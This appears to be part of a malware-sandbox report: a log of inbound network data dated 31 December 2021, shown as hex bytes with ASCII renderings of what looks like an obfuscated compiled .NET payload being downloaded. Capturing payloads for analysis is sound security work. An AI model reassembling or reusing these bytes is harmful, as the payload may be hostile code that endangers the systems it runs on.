2021-12-31 18:13:30 UTC	550	IN	Data Raw: 01 39 0a 5d 03 00 23 00 00 00 00 00 0c 99 40 28 51 02 00 06 69 0c 00 08 23 00 00 00 40 b4 8d 55 41 28 52 02 00 06 69 fe 01 2c 2a 02 7b 1f 00 00 04 23 00 00 00 00 00 00 22 40 28 53 02 00 06 69 6f 4f 00 00 0a 23 00 00 00 00 59 92 55 41 28 54 02 00 06 69 0c 00 08 23 00 00 00 00 00 62 a0 40 28 55 02 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 44 91 40 28 56 02 00 06 69 fe 01 39 ce 1b 00 00 23 00 00 00 00 71 ca 50 41 28 57 02 00 06 69 0c 00 08 23 00 00 00 00 00 76 a3 40 28 58 02 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 90 aa 11 41 28 59 02 00 06 69 fe 01 39 33 d5 03 00 23 00 00 00 00 00 78 a3 40 28 5a 02 00 06 69 0c 00 08 23 00 00 00 00 00 bc 96 40 28 5b 02 00 06 69 fe 01 2c 28 00 07 23 00 00 00 80 94 70 46 41 28 5c 02 00 06 69 fe 01 39 ff 49 00 00 23 00 00 Data Ascii: 9]#@(Qi#@UA(Ri,*{#"@(SioO#YUA(Ti#b@(Ui,(#D@(Vi9#qPA(Wi#v@(Xi,(#A(Yi93#x@(Zi#@([i,(#pFA(\i9I#
2021-12-31 18:13:30 UTC	566	IN	Data Raw: 40 28 99 05 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 70 8f 40 28 9a 05 00 06 69 fe 01 39 26 4f 03 00 23 00 00 00 00 00 34 a3 40 28 9b 05 00 06 69 0c 00 08 23 00 00 00 00 42 36 41 41 28 9c 05 00 06 69 fe 01 2c 20 23 00 00 00 00 22 42 47 41 28 9d 05 00 06 69 0b 23 00 00 00 80 20 3c 41 41 28 9e 05 00 06 69 0c 00 08 23 00 00 00 00 00 6d b0 40 28 9f 05 00 06 69 fe 01 2c 20 23 00 00 00 00 b1 d9 3b 41 28 a0 05 00 06 69 0b 23 00 00 00 00 00 6e b0 40 28 a1 05 00 06 69 0c 00 08 23 00 00 00 10 c3 4f 74 41 28 a2 05 00 06 69 fe 01 2c 20 23 00 00 00 00 40 f8 f3 40 28 a3 05 00 06 69 0a 23 00 00 00 00 04 52 74 41 28 a4 05 00 06 69 0c 00 08 23 00 00 00 00 00 86 ad 40 28 a5 05 00 06 69 fe 01 2c 20 23 00 00 00 00 c8 0b 23 41 28 a6 05 00 06 69 0b 23 00 00 00 00 00 88 ad Data Ascii: @(i,(#p@(i9&O#4@(i#B6AA(i, #"BGA(i# <AA(i#m@(i, #;A(i#n@(i#OtA(i, #@@(i#RtA(i#@(i, ##A(i#
2021-12-31 18:13:30 UTC	582	IN	Data Raw: 69 fe 01 2c 3e 02 7b 0f 00 00 04 23 00 00 00 00 20 91 e2 40 28 e5 08 00 06 69 23 00 00 00 00 00 00 35 40 28 e6 08 00 06 69 73 51 00 00 0a 6f 52 00 00 0a 23 00 00 00 80 44 99 40 41 28 e7 08 00 06 69 0c 00 08 23 00 00 00 00 44 d4 3a 41 28 e8 08 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 74 93 40 28 e9 08 00 06 69 fe 01 39 eb 08 03 00 23 00 00 00 00 00 bc 94 40 28 ea 08 00 06 69 0c 00 08 23 00 00 00 00 00 45 b2 40 28 eb 08 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 c0 77 40 28 ec 08 00 06 69 fe 01 39 7c 9e 00 00 23 00 00 00 40 b2 de 74 41 28 ed 08 00 06 69 0c 00 08 23 00 00 00 00 00 a2 ab 40 28 ee 08 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 90 83 40 28 ef 08 00 06 69 fe 01 39 e7 f2 02 00 23 00 00 00 00 00 a4 ab 40 28 f0 08 00 06 69 0c 00 08 23 00 00 Data Ascii: i,>{# @(i#5@(isQoR#D@A(i#D:A(i,(#t@(i9#@(i#E@(i,(#w@(i9\|#@tA(i#@(i,(#@(i9#@(i#
2021-12-31 18:13:30 UTC	598	IN	Data Raw: 00 00 00 c0 52 40 28 32 0c 00 06 69 0a 23 00 00 00 00 00 f6 a9 40 28 33 0c 00 06 69 0c 00 08 23 00 00 00 00 00 60 95 40 28 34 0c 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 c0 96 40 28 35 0c 00 06 69 fe 01 39 a9 62 03 00 23 00 00 00 00 f1 98 3c 41 28 36 0c 00 06 69 0c 00 08 23 00 00 00 00 00 0c 9f 40 28 37 0c 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 00 c4 d7 40 28 38 0c 00 06 69 fe 01 39 61 19 03 00 23 00 00 00 00 08 27 4e 41 28 39 0c 00 06 69 0c 00 08 23 00 00 00 00 92 1c 4a 41 28 3a 0c 00 06 69 fe 01 2c 20 23 00 00 00 00 00 64 15 41 28 3b 0c 00 06 69 0b 23 00 00 00 00 00 ec 9c 40 28 3c 0c 00 06 69 0c 00 08 23 00 00 00 00 00 70 98 40 28 3d 0c 00 06 69 fe 01 2c 25 02 7b 3c 00 00 04 72 39 07 00 70 28 01 00 00 06 6f 50 00 00 0a 23 00 00 00 80 a4 af 42 41 Data Ascii: R@(2i#@(3i#`@(4i,(#@(5i9b#<A(6i#@(7i,(#@(8i9a#'NA(9i#JA(:i, #dA(;i#@(<i#p@(=i,%{<r9p(oP#BA
2021-12-31 18:13:30 UTC	614	IN	Data Raw: 00 00 00 00 f2 1a 29 41 28 81 0f 00 06 69 fe 01 2c 20 23 00 00 00 00 40 de d2 40 28 82 0f 00 06 69 0a 23 00 00 00 00 20 29 29 41 28 83 0f 00 06 69 0c 00 08 23 00 00 00 20 ae 1c 67 41 28 84 0f 00 06 69 fe 01 2c 25 02 7b 33 00 00 04 72 2f 08 00 70 28 01 00 00 06 6f 50 00 00 0a 23 00 00 00 80 14 20 67 41 28 85 0f 00 06 69 0c 00 08 23 00 00 00 00 00 25 b4 40 28 86 0f 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 90 67 11 41 28 87 0f 00 06 69 fe 01 39 88 fc ff ff 23 00 00 00 00 00 26 b4 40 28 88 0f 00 06 69 0c 00 08 23 00 00 00 80 ac 7f 47 41 28 89 0f 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 84 93 40 28 8a 0f 00 06 69 fe 01 39 cb eb 01 00 23 00 00 00 00 00 70 9b 40 28 8b 0f 00 06 69 0c 00 08 23 00 00 00 80 b0 de 60 41 28 8c 0f 00 06 69 fe 01 2c 20 23 00 00 00 Data Ascii: )A(i, #@@(i# ))A(i# gA(i,%{3r/p(oP# gA(i#%@(i,(#gA(i9#&@(i#GA(i,(#@(i9#p@(i#`A(i, #
2021-12-31 18:13:30 UTC	630	IN	Data Raw: 00 00 72 e8 2a 41 28 c7 12 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 00 73 40 28 c8 12 00 06 69 fe 01 39 ff 5f 00 00 23 00 00 00 00 00 60 8d 40 28 c9 12 00 06 69 0c 00 08 23 00 00 00 80 c4 f0 6d 41 28 ca 12 00 06 69 fe 01 2c 20 23 00 00 00 00 d1 c3 31 41 28 cb 12 00 06 69 0b 23 00 00 00 20 a3 f4 6d 41 28 cc 12 00 06 69 0c 00 08 23 00 00 00 00 00 7b b4 40 28 cd 12 00 06 69 fe 01 2c 20 23 00 00 00 00 00 20 ec 40 28 ce 12 00 06 69 0b 23 00 00 00 00 c1 39 7a 41 28 cf 12 00 06 69 0c 00 08 23 00 00 00 00 51 48 30 41 28 d0 12 00 06 69 fe 01 2c 20 23 00 00 00 00 00 a0 79 40 28 d1 12 00 06 69 0a 23 00 00 00 00 00 28 90 40 28 d2 12 00 06 69 0c 00 08 23 00 00 00 00 00 d4 a4 40 28 d3 12 00 06 69 fe 01 2c 20 23 00 00 00 00 00 a4 9a 40 28 d4 12 00 06 69 0b 23 00 00 Data Ascii: r*A(i,(#s@(i9_#`@(i#mA(i, #1A(i# mA(i#{@(i, # @(i#9zA(i#QH0A(i, #y@(i#(@(i#@(i, #@(i#
2021-12-31 18:13:30 UTC	646	IN	Data Raw: 16 00 06 69 fe 01 2c 20 23 00 00 00 00 00 00 79 40 28 14 16 00 06 69 0a 23 00 00 00 00 20 f7 4a 41 28 15 16 00 06 69 0c 00 08 23 00 00 00 00 e1 c7 54 41 28 16 16 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 e0 70 40 28 17 16 00 06 69 fe 01 39 2a d5 fe ff 23 00 00 00 00 00 3e a2 40 28 18 16 00 06 69 0c 00 08 23 00 00 00 10 83 11 79 41 28 19 16 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 00 54 40 28 1a 16 00 06 69 fe 01 39 62 e4 ff ff 23 00 00 00 00 04 14 79 41 28 1b 16 00 06 69 0c 00 08 23 00 00 00 00 00 d0 ab 40 28 1c 16 00 06 69 fe 01 2c 20 23 00 00 00 00 00 40 6e 40 28 1d 16 00 06 69 0b 23 00 00 00 20 c2 2f 68 41 28 1e 16 00 06 69 0c 00 08 23 00 00 00 90 b1 f9 70 41 28 1f 16 00 06 69 fe 01 2c 20 23 00 00 00 00 00 90 96 40 28 20 16 00 06 69 0a 23 00 00 Data Ascii: i, #y@(i# JA(i#TA(i,(#p@(i9*#>@(i#yA(i,(#T@(i9b#yA(i#@(i, #@n@(i# /hA(i#pA(i, #@( i#
2021-12-31 18:13:30 UTC	662	IN	Data Raw: 06 69 fe 01 39 ac dc fe ff 23 00 00 00 00 00 6e ab 40 28 5e 19 00 06 69 0c 00 08 23 00 00 00 00 00 98 8e 40 28 5f 19 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 00 30 78 40 28 60 19 00 06 69 fe 01 39 68 8e ff ff 23 00 00 00 00 20 4f 2d 41 28 61 19 00 06 69 0c 00 08 23 00 00 00 00 00 28 b2 40 28 62 19 00 06 69 fe 01 2c 20 23 00 00 00 00 90 ac 14 41 28 63 19 00 06 69 0a 23 00 00 00 00 00 29 b2 40 28 64 19 00 06 69 0c 00 08 23 00 00 00 40 98 f8 5f 41 28 65 19 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 f2 84 42 41 28 66 19 00 06 69 fe 01 39 2b 43 fe ff 23 00 00 00 00 40 fe 5f 41 28 67 19 00 06 69 0c 00 08 23 00 00 00 00 00 22 a5 40 28 68 19 00 06 69 fe 01 2c 20 23 00 00 00 80 10 b2 44 41 28 69 19 00 06 69 0b 23 00 00 00 00 d1 ee 5b 41 28 6a 19 00 06 69 0c 00 08 Data Ascii: i9#n@(^i#@(_i,(#0x@(`i9h# O-A(ai#(@(bi, #A(ci#)@(di#@_A(ei,(#BA(fi9+C#@_A(gi#"@(hi, #DA(ii#[A(ji
2021-12-31 18:13:30 UTC	678	IN	Data Raw: 28 a4 1c 00 06 69 fe 01 2c 20 23 00 00 00 00 00 80 53 40 28 a5 1c 00 06 69 0b 23 00 00 00 00 00 b6 a3 40 28 a6 1c 00 06 69 0c 00 08 23 00 00 00 00 00 f5 b2 40 28 a7 1c 00 06 69 fe 01 2c 20 23 00 00 00 00 88 d7 25 41 28 a8 1c 00 06 69 0b 23 00 00 00 40 46 78 76 41 28 a9 1c 00 06 69 0c 00 08 23 00 00 00 20 06 15 62 41 28 aa 1c 00 06 69 fe 01 2c 25 02 7b 4d 00 00 04 72 9d 0f 00 70 28 01 00 00 06 6f 50 00 00 0a 23 00 00 00 00 00 10 a8 40 28 ab 1c 00 06 69 0c 00 08 23 00 00 00 00 00 b0 9b 40 28 ac 1c 00 06 69 fe 01 2c 20 23 00 00 00 00 00 00 2a 40 28 ad 1c 00 06 69 0b 23 00 00 00 00 00 b4 9b 40 28 ae 1c 00 06 69 0c 00 08 23 00 00 00 90 08 00 76 41 28 af 1c 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 a0 7e 40 28 b0 1c 00 06 69 fe 01 39 f3 33 02 00 23 00 00 00 Data Ascii: (i, #S@(i#@(i#@(i, #%A(i#@FxvA(i# bA(i,%{Mrp(oP#@(i#@(i, #*@(i#@(i#vA(i,(#~@(i93#
2021-12-31 18:13:30 UTC	694	IN	Data Raw: b1 40 28 ea 1f 00 06 69 0c 00 08 23 00 00 00 40 fc 91 53 41 28 eb 1f 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 30 8d 40 28 ec 1f 00 06 69 fe 01 39 e6 c1 fd ff 23 00 00 00 00 00 b4 a1 40 28 ed 1f 00 06 69 0c 00 08 23 00 00 00 00 00 a0 b1 40 28 ee 1f 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 90 63 fc 40 28 ef 1f 00 06 69 fe 01 39 16 36 ff ff 23 00 00 00 10 74 6c 73 41 28 f0 1f 00 06 69 0c 00 08 23 00 00 00 00 69 96 73 41 28 f1 1f 00 06 69 fe 01 2c 20 23 00 00 00 00 00 70 8d 40 28 f2 1f 00 06 69 0b 23 00 00 00 90 9f 98 73 41 28 f3 1f 00 06 69 0c 00 08 23 00 00 00 80 14 6d 6e 41 28 f4 1f 00 06 69 fe 01 2c 3e 02 7b 26 00 00 04 23 00 00 00 00 00 b0 7f 40 28 f5 1f 00 06 69 23 00 00 00 00 00 88 84 40 28 f6 1f 00 06 69 73 5b 00 00 0a 6f 5c 00 00 0a 23 00 00 00 Data Ascii: @(i#@SA(i,(#0@(i9#@(i#@(i,(#c@(i96#tlsA(i#isA(i, #p@(i#sA(i#mnA(i,>{&#@(i#@(is[o\#
2021-12-31 18:13:30 UTC	710	IN	Data Raw: 06 69 0c 00 08 23 00 00 00 00 20 d5 6c 41 28 38 23 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 08 89 40 28 39 23 00 06 69 fe 01 39 b1 58 ff ff 23 00 00 00 00 00 62 ae 40 28 3a 23 00 06 69 0c 00 08 23 00 00 00 00 00 e0 8c 40 28 3b 23 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 64 50 10 41 28 3c 23 00 06 69 fe 01 39 83 3c 01 00 23 00 00 00 00 00 e8 8c 40 28 3d 23 00 06 69 0c 00 08 23 00 00 00 80 20 3c 41 41 28 3e 23 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 20 6b 07 41 28 3f 23 00 06 69 fe 01 39 f2 dd 01 00 23 00 00 00 00 00 42 41 41 28 40 23 00 06 69 0c 00 08 23 00 00 00 00 00 c8 b1 40 28 41 23 00 06 69 fe 01 2c 20 23 00 00 00 00 00 20 79 40 28 42 23 00 06 69 0a 23 00 00 00 00 00 c9 b1 40 28 43 23 00 06 69 0c 00 08 23 00 00 00 80 18 4f 48 41 28 44 23 00 06 Data Ascii: i# lA(8#i,(#@(9#i9X#b@(:#i#@(;#i,(#dPA(<#i9<#@(=#i# <AA(>#i,(# kA(?#i9#BAA(@#i#@(A#i, # y@(B#i#@(C#i#OHA(D#
2021-12-31 18:13:30 UTC	726	IN	Data Raw: 00 00 80 0c e2 41 41 28 82 26 00 06 69 0b 23 00 00 00 00 00 1f b4 40 28 83 26 00 06 69 0c 00 08 23 00 00 00 00 00 00 78 40 28 84 26 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 90 ac f4 40 28 85 26 00 06 69 fe 01 39 f1 64 ff ff 23 00 00 00 00 00 10 78 40 28 86 26 00 06 69 0c 00 08 23 00 00 00 20 34 f6 62 41 28 87 26 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 e8 82 40 28 88 26 00 06 69 fe 01 39 bc ce 00 00 23 00 00 00 00 00 a4 a8 40 28 89 26 00 06 69 0c 00 08 23 00 00 00 40 80 3a 5e 41 28 8a 26 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 c8 0b 03 41 28 8b 26 00 06 69 fe 01 39 a3 24 00 00 23 00 00 00 00 00 40 5e 41 28 8c 26 00 06 69 0c 00 08 23 00 00 00 00 00 47 b1 40 28 8d 26 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 00 00 d0 40 28 8e 26 00 06 69 fe 01 39 d0 Data Ascii: AA(&i#@(&i#x@(&i,(#@(&i9d#x@(&i# 4bA(&i,(#@(&i9#@(&i#@:^A(&i,(#A(&i9$#@^A(&i#G@(&i,(#@(&i9
2021-12-31 18:13:30 UTC	742	IN	Data Raw: 08 23 00 00 00 40 18 42 51 41 28 d1 29 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 c8 26 41 28 d2 29 00 06 69 fe 01 39 66 c0 00 00 23 00 00 00 00 00 a0 a0 40 28 d3 29 00 06 69 0c 00 08 23 00 00 00 00 00 cc a8 40 28 d4 29 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 b0 88 40 28 d5 29 00 06 69 fe 01 39 49 72 ff ff 23 00 00 00 00 00 ce a8 40 28 d6 29 00 06 69 0c 00 08 23 00 00 00 00 00 24 b1 40 28 d7 29 00 06 69 fe 01 2c 20 23 00 00 00 00 00 60 64 40 28 d8 29 00 06 69 0b 23 00 00 00 90 f5 5e 72 41 28 d9 29 00 06 69 0c 00 08 23 00 00 00 20 8d be 6d 41 28 da 29 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 48 d4 08 41 28 db 29 00 06 69 fe 01 39 33 c6 fe ff 23 00 00 00 00 00 dc ae 40 28 dc 29 00 06 69 0c 00 08 23 00 00 00 00 00 40 99 40 28 dd 29 00 06 69 fe 01 2c Data Ascii: #@BQA()i,(#&A()i9f#@()i#@()i,(#@()i9Ir#@()i#$@()i, #`d@()i#^rA()i# mA()i,(#HA()i93#@()i#@@()i,
2021-12-31 18:13:30 UTC	758	IN	Data Raw: 4f 68 41 28 16 2d 00 06 69 0c 00 08 23 00 00 00 00 00 bb b3 40 28 17 2d 00 06 69 fe 01 2c 20 23 00 00 00 00 00 99 32 41 28 18 2d 00 06 69 0b 23 00 00 00 00 00 bc b3 40 28 19 2d 00 06 69 0c 00 08 23 00 00 00 00 00 3a ac 40 28 1a 2d 00 06 69 fe 01 2c 1b 02 73 5d 00 00 0a 7d 4a 00 00 04 23 00 00 00 80 70 e9 68 41 28 1b 2d 00 06 69 0c 00 08 23 00 00 00 40 8c 5f 74 41 28 1c 2d 00 06 69 fe 01 2c 20 23 00 00 00 00 00 70 87 40 28 1d 2d 00 06 69 0b 23 00 00 00 00 00 0f b2 40 28 1e 2d 00 06 69 0c 00 08 23 00 00 00 00 00 4a af 40 28 1f 2d 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 42 01 41 28 20 2d 00 06 69 fe 01 39 61 5e ff ff 23 00 00 00 00 00 4c af 40 28 21 2d 00 06 69 0c 00 08 23 00 00 00 20 2a 6e 60 41 28 22 2d 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 00 80 Data Ascii: OhA(-i#@(-i, #2A(-i#@(-i#:@(-i,s]}J#phA(-i#@_tA(-i, #p@(-i#@(-i#J@(-i,(#BA( -i9a^#L@(!-i# *n`A("-i,(#
2021-12-31 18:13:30 UTC	774	IN	Data Raw: 5e 30 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 81 10 41 28 5f 30 00 06 69 fe 01 39 a3 85 ff ff 23 00 00 00 00 00 60 73 40 28 60 30 00 06 69 0c 00 08 23 00 00 00 40 c6 fa 71 41 28 61 30 00 06 69 fe 01 2c 20 23 00 00 00 00 48 6e 05 41 28 62 30 00 06 69 0a 23 00 00 00 10 e5 fc 71 41 28 63 30 00 06 69 0c 00 08 23 00 00 00 00 80 a0 61 41 28 64 30 00 06 69 fe 01 2c 20 23 00 00 00 00 00 a0 6a 40 28 65 30 00 06 69 0a 23 00 00 00 00 00 c2 a7 40 28 66 30 00 06 69 0c 00 08 23 00 00 00 00 00 42 21 41 28 67 30 00 06 69 fe 01 2c 20 23 00 00 00 00 00 b8 89 40 28 68 30 00 06 69 0b 23 00 00 00 00 00 88 87 40 28 69 30 00 06 69 0c 00 08 23 00 00 00 00 00 a8 85 40 28 6a 30 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 72 5d 27 41 28 6b 30 00 06 69 fe 01 39 ef b4 00 00 23 00 Data Ascii: ^0i,(#A(_0i9#`s@(`0i#@qA(a0i, #HnA(b0i#qA(c0i#aA(d0i, #j@(e0i#@(f0i#B!A(g0i, #@(h0i#@(i0i#@(j0i,(#r]'A(k0i9#
2021-12-31 18:13:30 UTC	790	IN	Data Raw: 23 00 00 00 00 00 20 91 40 28 a8 33 00 06 69 fe 01 2c 39 02 23 00 00 00 00 a9 7e 38 41 28 a9 33 00 06 69 23 00 00 00 00 80 60 c2 40 28 aa 33 00 06 69 73 51 00 00 0a 28 66 00 00 0a 23 00 00 00 00 00 24 91 40 28 ab 33 00 06 69 0c 00 08 23 00 00 00 10 28 9b 72 41 28 ac 33 00 06 69 fe 01 2c 25 02 7b 43 00 00 04 72 19 02 00 70 28 01 00 00 06 6f 50 00 00 0a 23 00 00 00 00 00 42 b1 40 28 ad 33 00 06 69 0c 00 08 23 00 00 00 00 00 a4 a0 40 28 ae 33 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 b1 13 41 28 af 33 00 06 69 fe 01 39 5c 08 fd ff 23 00 00 00 40 ba 52 51 41 28 b0 33 00 06 69 0c 00 08 23 00 00 00 00 00 04 b2 40 28 b1 33 00 06 69 fe 01 2c 20 23 00 00 00 00 00 80 57 40 28 b2 33 00 06 69 0a 23 00 00 00 90 41 4b 74 41 28 b3 33 00 06 69 0c 00 08 23 00 00 00 00 Data Ascii: # @(3i,9#~8A(3i#`@(3isQ(f#$@(3i#(rA(3i,%{Crp(oP#B@(3i#@(3i,(#A(3i9\#@RQA(3i#@(3i, #W@(3i#AKtA(3i#
2021-12-31 18:13:30 UTC	806	IN	Data Raw: 00 00 0a 6f 52 00 00 0a 23 00 00 00 00 00 a8 b4 40 28 ed 36 00 06 69 0c 00 08 23 00 00 00 20 1d ec 6a 41 28 ee 36 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 00 f0 7a 40 28 ef 36 00 06 69 fe 01 39 b7 fe fe ff 23 00 00 00 00 00 5c ad 40 28 f0 36 00 06 69 0c 00 08 23 00 00 00 00 00 14 b0 40 28 f1 36 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 ac 9b 40 28 f2 36 00 06 69 fe 01 39 0d a9 fd ff 23 00 00 00 00 00 15 b0 40 28 f3 36 00 06 69 0c 00 08 23 00 00 00 00 00 fd b2 40 28 f4 36 00 06 69 fe 01 2c 20 23 00 00 00 00 00 00 1c 40 28 f5 36 00 06 69 0a 23 00 00 00 40 40 8b 76 41 28 f6 36 00 06 69 0c 00 08 23 00 00 00 00 00 38 af 40 28 f7 36 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 40 54 f2 40 28 f8 36 00 06 69 fe 01 39 b6 73 ff ff 23 00 00 00 00 00 3a af 40 28 f9 Data Ascii: oR#@(6i# jA(6i,(#z@(6i9#\@(6i#@(6i,(#@(6i9#@(6i#@(6i, #@(6i#@@vA(6i#8@(6i,(#@T@(6i9s#:@(
2021-12-31 18:13:30 UTC	822	IN	Data Raw: 00 00 00 a8 92 40 28 37 3a 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 24 c4 38 41 28 38 3a 00 06 69 fe 01 39 8f 51 fe ff 23 00 00 00 00 00 ac 92 40 28 39 3a 00 06 69 0c 00 08 23 00 00 00 00 40 ae 55 41 28 3a 3a 00 06 69 fe 01 2c 20 23 00 00 00 00 b2 c6 43 41 28 3b 3a 00 06 69 0b 23 00 00 00 40 e8 b2 55 41 28 3c 3a 00 06 69 0c 00 08 23 00 00 00 40 4c 6b 5b 41 28 3d 3a 00 06 69 fe 01 2c 20 23 00 00 00 00 e4 33 3f 41 28 3e 3a 00 06 69 0b 23 00 00 00 00 00 f4 a4 40 28 3f 3a 00 06 69 0c 00 08 23 00 00 00 00 00 9c 96 40 28 40 3a 00 06 69 fe 01 2c 1c 02 7b 47 00 00 04 17 6f 4f 00 00 0a 23 00 00 00 00 40 fe 3f 41 28 41 3a 00 06 69 0c 00 08 23 00 00 00 00 00 90 9c 40 28 42 3a 00 06 69 fe 01 2c 1c 02 7b 46 00 00 04 17 6f 5a 00 00 0a 23 00 00 00 00 00 94 9c 40 28 43 Data Ascii: @(7:i,(#$8A(8:i9Q#@(9:i#@UA(::i, #CA(;:i#@UA(<:i#@Lk[A(=:i, #3?A(>:i#@(?:i#@(@:i,{GoO#@?A(A:i#@(B:i,{FoZ#@(C
2021-12-31 18:13:30 UTC	838	IN	Data Raw: 40 28 7f 3d 00 06 69 fe 01 2c 20 23 00 00 00 00 c2 e4 45 41 28 80 3d 00 06 69 0b 23 00 00 00 00 00 2c b0 40 28 81 3d 00 06 69 0c 00 08 23 00 00 00 00 00 7e ad 40 28 82 3d 00 06 69 fe 01 2c 28 00 06 23 00 00 00 00 90 d4 f3 40 28 83 3d 00 06 69 fe 01 39 4a be ff ff 23 00 00 00 00 00 32 6b 41 28 84 3d 00 06 69 0c 00 08 23 00 00 00 00 00 f0 ae 40 28 85 3d 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 64 bb 31 41 28 86 3d 00 06 69 fe 01 39 15 e2 fe ff 23 00 00 00 20 e6 ec 6d 41 28 87 3d 00 06 69 0c 00 08 23 00 00 00 00 c1 ee 3c 41 28 88 3d 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 82 ba 26 41 28 89 3d 00 06 69 fe 01 39 6a 66 fc ff 23 00 00 00 00 00 88 95 40 28 8a 3d 00 06 69 0c 00 08 23 00 00 00 00 b1 4d 56 41 28 8b 3d 00 06 69 fe 01 2c 28 00 07 23 00 00 00 00 00 Data Ascii: @(=i, #EA(=i#,@(=i#~@(=i,(#@(=i9J#2kA(=i#@(=i,(#d1A(=i9# mA(=i#<A(=i,(#&A(=i9jf#@(=i#MVA(=i,(#
2021-12-31 18:13:30 UTC	854	IN	Data Raw: 40 00 06 69 fe 0e 01 00 23 00 00 00 00 00 00 82 40 28 8d 40 00 06 69 fe 0e 02 00 00 fe 0c 02 00 23 00 00 00 00 00 80 41 40 28 8e 40 00 06 69 fe 01 39 26 00 00 00 23 00 00 00 00 00 00 59 40 28 8f 40 00 06 69 fe 0e 01 00 23 00 00 00 00 00 40 94 40 28 90 40 00 06 69 fe 0e 02 00 00 fe 0c 02 00 23 00 00 00 00 00 80 40 40 28 91 40 00 06 69 fe 01 39 2e 00 00 00 00 fe 0c 01 00 23 00 00 00 00 00 40 54 40 28 92 40 00 06 69 fe 01 39 2e 00 00 00 23 00 00 00 00 00 00 41 40 28 93 40 00 06 69 fe 0e 02 00 00 fe 0c 02 00 23 00 00 00 00 00 00 42 40 28 94 40 00 06 69 fe 01 39 2e 00 00 00 00 fe 0c 01 00 23 00 00 00 00 00 00 26 40 28 95 40 00 06 69 fe 01 39 ae 00 00 00 23 00 00 00 00 00 64 95 40 28 96 40 00 06 69 fe 0e 02 00 00 fe 0c 02 00 23 00 00 00 00 00 90 76 40 28 97 40 Data Ascii: @i#@(@i#A@(@i9&#Y@(@i#@@(@i#@@(@i9.#@T@(@i9.#A@(@i#B@(@i9.#&@(@i9#d@(@i#v@(@
2021-12-31 18:13:30 UTC	870	IN	Data Raw: 00 00 23 00 00 00 00 00 80 88 40 28 ee 42 00 06 69 fe 0e 05 00 23 00 00 00 00 00 a4 9f 40 28 ef 42 00 06 69 fe 0e 06 00 00 fe 0c 06 00 23 00 00 00 00 00 00 70 40 28 f0 42 00 06 69 fe 01 39 26 00 00 00 23 00 00 00 00 00 00 22 40 28 f1 42 00 06 69 fe 0e 04 00 23 00 00 00 00 00 10 72 40 28 f2 42 00 06 69 fe 0e 06 00 00 fe 0c 06 00 23 00 00 00 00 00 02 cf 40 28 f3 42 00 06 69 fe 01 39 18 00 00 00 38 0b 08 00 00 23 00 00 00 00 00 c0 5f 40 28 f4 42 00 06 69 fe 0e 06 00 00 fe 0c 06 00 23 00 00 00 00 80 24 c3 40 28 f5 42 00 06 69 fe 01 39 2e 00 00 00 00 fe 0c 05 00 23 00 00 00 00 00 00 2e 40 28 f6 42 00 06 69 fe 01 39 09 fd ff ff 23 00 00 00 00 00 88 c3 40 28 f7 42 00 06 69 fe 0e 06 00 00 fe 0c 06 00 23 00 00 00 00 00 80 4a 40 28 f8 42 00 06 69 fe 01 39 26 00 00 Data Ascii: #@(Bi#@(Bi#p@(Bi9&#"@(Bi#r@(Bi#@(Bi98#_@(Bi#$@(Bi9.#.@(Bi9#@(Bi#J@(Bi9&
2021-12-31 18:13:30 UTC	886	IN	Data Raw: fe 01 2c 2a 00 11 04 23 00 00 00 00 00 00 39 40 28 8a 45 00 06 69 fe 01 39 40 f3 ff ff 23 00 00 00 00 00 61 b8 40 28 8b 45 00 06 69 13 05 00 11 05 23 00 00 00 00 00 00 44 40 28 8c 45 00 06 69 fe 01 2c 21 23 00 00 00 00 00 40 54 40 28 8d 45 00 06 69 0d 23 00 00 00 00 00 44 9a 40 28 8e 45 00 06 69 13 05 00 11 05 23 00 00 00 00 00 80 88 40 28 8f 45 00 06 69 fe 01 2c 29 00 09 23 00 00 00 00 00 40 54 40 28 90 45 00 06 69 fe 01 39 34 07 00 00 23 00 00 00 00 00 00 3d 40 28 91 45 00 06 69 13 05 00 11 05 23 00 00 00 00 00 80 48 40 28 92 45 00 06 69 fe 01 2c 15 07 17 58 0b 23 00 00 00 00 00 00 50 40 28 93 45 00 06 69 13 05 00 11 05 23 00 00 00 00 00 00 49 40 28 94 45 00 06 69 fe 01 2c 22 23 00 00 00 00 00 00 10 40 28 95 45 00 06 69 13 04 23 00 00 00 00 00 80 49 40 Data Ascii: 